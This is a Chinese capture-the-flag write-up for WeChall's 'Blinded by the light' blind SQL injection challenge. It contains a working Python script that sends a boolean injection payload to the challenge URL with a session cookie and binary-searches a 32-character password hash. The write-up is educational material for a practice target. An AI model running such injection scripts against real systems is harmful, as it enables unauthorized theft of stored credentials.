Writeup Blinded by the light

题目提示:

1. Your mission is to extract an md5 password hash out of a database.

需要获取数据库中的密码信息,而密码是经过MD5加密的。

2. Your limit for this blind sql injection are 128 queries.

最多可以注入128次,通过查看源代码可以看到超过了就会重新生成密码。

3. 可以查看部分关键源代码

$query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password=‘$password‘";

通过源代码可以看到存在注入漏洞,但是只能进行是或否的判断。

$hash = GWF_Random::randomKey(32, ‘ABCDEF0123456789‘);

密码是随机生成的32位字符串,为大写A-F,0-9。

解题:

通过二叉树法对32位密码的每一位进行判断,四次可以得到一位的值,32*4=128,正好128次注入可以得到密码,Python脚本如下:

# -*- coding: utf-8 -*- 

import urllib2
import urllib
import cookielib
import string
import re
import Cookie

ml= [‘0‘, ‘1‘, ‘2‘, ‘3‘, ‘4‘, ‘5‘, ‘6‘, ‘7‘, ‘8‘, ‘9‘, ‘A‘, ‘B‘, ‘C‘, ‘D‘, ‘E‘, ‘F‘];

# 设置一个cookie处理器
cj = cookielib.CookieJar();
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj));
urllib2.install_opener(opener);

for lindex in range(32):
    xj= 0;
    xvalue= 16;
    for sindex in range(4):
        if xj>0:
            xvalue= xvalue + 16 / (2 ** (sindex + 1));
        else:
            xvalue= xvalue - 16 / (2 ** (sindex + 1));
        # second time do url request, the cookiejar will auto handle the cookie
        loginBaiduUrl = "http://www.wechall.net/challenge/blind_light/index.php";
        strinject = ‘1\‘ or ascii(substr(password,%d,1))>%d #‘ % (lindex+1,ord(ml[xvalue-1]));
        #print strinject;
        para = {
            ‘injection‘  : strinject,
            ‘inject‘  : ‘Inject‘,
            };
        postData = urllib.urlencode(para);
        req = urllib2.Request(loginBaiduUrl, postData);
        req.add_header(‘User-Agent‘, ‘Mozilla/5.0 (Windows NT 6.1; rv:40.0) Gecko/20100101 Firefox/40.0‘);
        req.add_header(‘Content-Type‘, ‘application/x-www-form-urlencoded‘);
        req.add_header(‘Cookie‘, ‘WC=8624571-16186-h8NKQBMCengtEsn4‘);
        req.add_header(‘Referer‘, ‘http://www.wechall.net/challenge/blind_light/index.php‘);
        req.add_header(‘Connection‘, ‘close‘);

        resp = urllib2.urlopen(req);
        respInfo = resp.info();

        # 通过正则匹配抓到需要统计的字符串
        content = resp.read()
        check_text = re.findall(‘(attempt[s\.\!]{1,2})</li>‘,content,re.S)[0]

        #print check_text

        if check_text==‘attempt!‘:
            xj=0;
        else:
            xj=1;
    if xj==0:
        print ml[xvalue-1];
    else:
        print ml[xvalue];
时间: 2024-07-30 03:22:28

Writeup Blinded by the light的相关文章

Writeup Blinded by the lighter

题目提示: 1. Again your mission is to extract an md5 password hash out of the database. 需要获取数据库中的密码信息,而密码是经过MD5加密的. 2. This time your limit for this blind sql injection are 33 queries. 最多可以注入33次. 3. Also you have to accomplish this task 3 times consecuti

Love to be loved by you &amp; Just one last dance

http://baike.baidu.com/link?url=wOnBuPncIH5b5oWc0ZREXCU8x6XPYqlZazTLarTjE8eOpdtpv57YMeB_kgXQq4BcCeh20wt-AK0ytPWiNgmiuq 最近听了这首老歌然后突然萌发搜一搜的想法,然后才知道MarcEric Terenzi竟然是 Sarah Conner的前夫,然后这首歌是结婚时候唱的.然后 Just one last dance 竟然是他们离婚时候唱的.我哭,最近好爱 Sarah Conner的

light oj 1236 【大数分解】

给定一个大数,分解质因数,每个质因子的个数为e1,e2,e3,--em, 则结果为((1+2*e1)*(1+2*e2)--(1+2*em)+1)/2. //light oj 1236 大数分解素因子 #include <stdio.h> #include <iostream> #include <string.h> #include <algorithm> #include <math.h> #include <ctype.h> #i

编译或运行时可能会出现错误: Error:Error retrieving parent for item: No resource found that matches the given name “Theme.AppCompat.Light”

这个问题我在刚开始写"HelloWorld"时就遇到,以为是API版本太高,下载了常用的API 19.17--一系列的,后来还是有问题.就上网查了很多,遇到几篇不错的文章,记录下来,方便以后查看. No resource found that matches the given name 'Theme.AppCompat.Light 的完美解决方案  http://www.360doc.com/content/15/0316/15/9200790_455576135.shtml And

2016第七季极客大挑战Writeup

第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{We1c0m3_To_G33k_2O!6} 并且可以知道后边的题的Flag格式为 SYC{} 2.xiao彩蛋 题目提示关注微博,从Syclover Team 博客(http://blog.sycsec.com)可获取到三叶草小组微博,私信发送flag后即可得到. 3.闪的好快 一开始拖进PS分帧数

[2016-04-21][light]OJ[1234][Harmonic Number]

时间:2016-04-21 22:18:26 星期四 题目编号:[2016-04-21][light]OJ[1234][Harmonic Number] 题目大意:求∑nk=11kn∈(1,108),精确到10?8求∑k=1n1kn∈(1,108),精确到10?8 分析: 想法是打表,然后输出,但是直接打表会爆内存 解决办法,就是每隔100个来打表,节省1100的空间,然后从那个值开始计算到当前值解决办法,就是每隔100个来打表,节省1100的空间,然后从那个值开始计算到当前值 对应的整百就是n

CSS无需Webfont实现近似「微软雅黑Light」的字体效果

在网页制作中,美观的字体能很大程度上提升一个网页的整体外观浏览效果(说白了就是提升逼格),但受各种因素的影响(例如中文字体应用Webfont的麻 烦),使开发者在制作过程中不得不使用“Web安全字体”,这使网页的外观效果大幅下降.今天在改模板的过程中偶然发现一个很笨的方法,实现近似微软雅黑 Light的字体效果. 实际上「微软雅黑Light」字体就是相对于「微软雅黑」字体较细,但是它的显示效果却要让人觉得舒适很多,只要字体不会太小,显示效果还是不错的. 所以直接用font-weight属性设置字

MVVM Light须要注意的10个问题

MVVM Light须要注意的10个问题 从使用XAML技术基础開始(实际上并非非常久曾经).我便关注MVVM(Model – View – ViewModel)模式.偶然接触到MVVM Light不久后便喜欢上它的工作方式. 不光我包含业余和专业开发者在内的非常多开发者都喜欢这个函数库. 依照开发者意愿,MVVM Light 不是一个框架而是函数库,该函数库注重于探究建立一个MVVM结构而且提供一些额外的帮助类以便于应用. MVVM Light在发展过程中改变了非常多.非常多元素被增加又有非常

Theme.AppCompat.Light无法找到问题(转)

使用adt开发新建一个Android app,选择支持的SDK版本如果小于11(Android3.0)就会报如下错误. error: Error retrieving parent for item: No resource found that matches the given name 'Theme.AppCompat.Light'. 官网给出的答案是: https://developer.android.com/tools/support-library/setup.html#add-l